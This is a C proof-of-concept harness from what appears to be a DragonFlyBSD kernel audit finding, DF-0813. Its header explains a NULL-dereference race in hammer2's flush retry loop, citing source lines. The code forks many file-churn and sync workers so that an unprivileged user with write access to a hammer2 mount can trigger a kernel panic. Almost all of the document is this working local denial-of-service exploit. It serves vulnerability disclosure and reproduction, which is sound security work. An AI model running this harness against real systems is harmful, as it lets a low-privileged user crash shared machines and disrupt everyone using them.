DragonFlyBSD Kernel Audit
DF-0813 / churn_h2.c
← back to finding ↓ download raw
/*
 * DF-0813 hammer2 flush NULL-deref churn harness.
 *
 * Bug: sys/vfs/hammer2/hammer2_flush.c:397-406 retry loop. When a concurrent
 * unlink/delete sets chain->parent=NULL during flush_core's unlock window
 * (hammer2_flush.c:662 unlock -> 665 relock; chain->parent nulled at
 * hammer2_chain.c:3559 under core.spin), flush_core returns retry=1.  Back in
 * the loop at :397 info.parent(non-NULL) != chain->parent(NULL), so the body
 * runs: :403 drop old info.parent (safe), :404 info.parent=NULL, :405
 * hammer2_chain_ref(NULL) -> atomic_fetchadd_int(&NULL->refs,1) -> NULL-deref
 * panic.
 *
 * This harness drives the concurrent (heavy modify/unlink) + (sync) churn that
 * opens that race on a mounted hammer2 filesystem.  It is probabilistic: the
 * race is tight, so we run many workers for a while.  A panic in boot.log
 * (fatal trap 12 in hammer2_chain_ref / hammer2_flush) confirms reproduction.
 *
 * Run as an unprivileged user with write access to a hammer2 mount, e.g.:
 *   H2DIR=/mnt/h2 ./churn_h2
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <signal.h>

#define DEFAULT_DIR    "/mnt/h2"
#define DEFAULT_WORKERS 6
#define DEFAULT_SECS    60

static volatile sig_atomic_t g_run = 1;
static void h(int s){ (void)s; g_run=0; }

static double now(void){
    struct timespec ts; clock_gettime(CLOCK_MONOTONIC,&ts);
    return ts.tv_sec + ts.tv_nsec/1e9;
}

/* Writer/unlinker worker: create many small files, write, unlink, repeat. */
static void worker_io(const char *dir, int id){
    char path[256]; char buf[4096];
    memset(buf, 'A'+(id%26), sizeof(buf));
    unsigned long iter=0;
    while (g_run){
        /* batch create + write */
        int batch = 20 + (id*7 % 30);
        for (int i=0;i<batch && g_run;i++){
            snprintf(path,sizeof(path),"%s/w%d_%lu_%d",dir,id,iter,i);
            int fd=open(path,O_WRONLY|O_CREAT|O_TRUNC,0644);
            if (fd<0){ if(errno==ENOSPC) break; continue; }
            /* multiple writes to dirty inode/block tables */
            for (int w=0; w<4; w++) write(fd,buf,sizeof(buf));
            fsync(fd);
            close(fd);
        }
        /* batch unlink (this drives chain_delete_helper -> parent=NULL) */
        for (int i=0;i<batch && g_run;i++){
            snprintf(path,sizeof(path),"%s/w%d_%lu_%d",dir,id,iter,i);
            unlink(path);
        }
        iter++;
        /* occasional rename to churn the topology */
        if ((iter & 3)==0){
            snprintf(path,sizeof(path),"%s/w%d_%lu_r",dir,id,iter);
            int fd=open(path,O_WRONLY|O_CREAT|O_TRUNC,0644);
            if(fd>=0){ write(fd,buf,sizeof(buf)); close(fd); }
            char p2[256]; snprintf(p2,sizeof(p2),"%s/w%d_%lu_r2",dir,id,iter);
            rename(path,p2); unlink(p2);
        }
    }
    fprintf(stderr,"[io %d] done after %lu iters\n",id,iter);
}

/* Syncer worker: hammer the flush path repeatedly. */
static void worker_sync(const char *dir, int id){
    unsigned long n=0;
    while (g_run){
        sync();
        /* also fsync the mountpoint dir to force inode flush */
        int fd=open(dir,O_RDONLY|O_DIRECTORY);
        if (fd>=0){ fsync(fd); close(fd); }
        n++;
        if ((n & 0x3ff)==0) usleep(100);
    }
    fprintf(stderr,"[sync %d] done after %lu syncs\n",id,n);
}

int main(int argc, char **argv){
    const char *dir = getenv("H2DIR"); if(!dir) dir=DEFAULT_DIR;
    int nio = getenv("NIO")?atoi(getenv("NIO")):DEFAULT_WORKERS;
    int nsync = getenv("NSYNC")?atoi(getenv("NSYNC")):2;
    int secs  = getenv("SECS")?atoi(getenv("SECS")):DEFAULT_SECS;
    if (argc>1) dir=argv[1];
    if (argc>2) secs=atoi(argv[2]);

    /* sanity */
    if (access(dir,W_OK)<0){ perror(dir); return 2; }

    signal(SIGTERM,h); signal(SIGINT,h);
    double t0=now();
    fprintf(stderr,"DF-0813 churn: dir=%s nio=%d nsync=%d secs=%d\n",
            dir,nio,nsync,secs);

    pid_t kids[64]; int nk=0;
    for (int i=0;i<nio && nk<64;i++){
        pid_t p=fork();
        if(p==0){ worker_io(dir,i); _exit(0); }
        if(p>0) kids[nk++]=p;
    }
    for (int i=0;i<nsync && nk<64;i++){
        pid_t p=fork();
        if(p==0){ worker_sync(dir,i); _exit(0); }
        if(p>0) kids[nk++]=p;
    }

    /* parent: timer */
    while (g_run && (now()-t0)<secs) sleep(1);
    g_run=0;
    for (int i=0;i<nk;i++) kill(kids[i],SIGTERM);
    for (int i=0;i<nk;i++){ int st; waitpid(kids[i],&st,0); }

    fprintf(stderr,"DF-0813 churn: finished %d s, %d workers. If the kernel "
            "panicked during this run (check boot.log), reproduction confirmed.\n",
            secs,nk);
    return 0;
}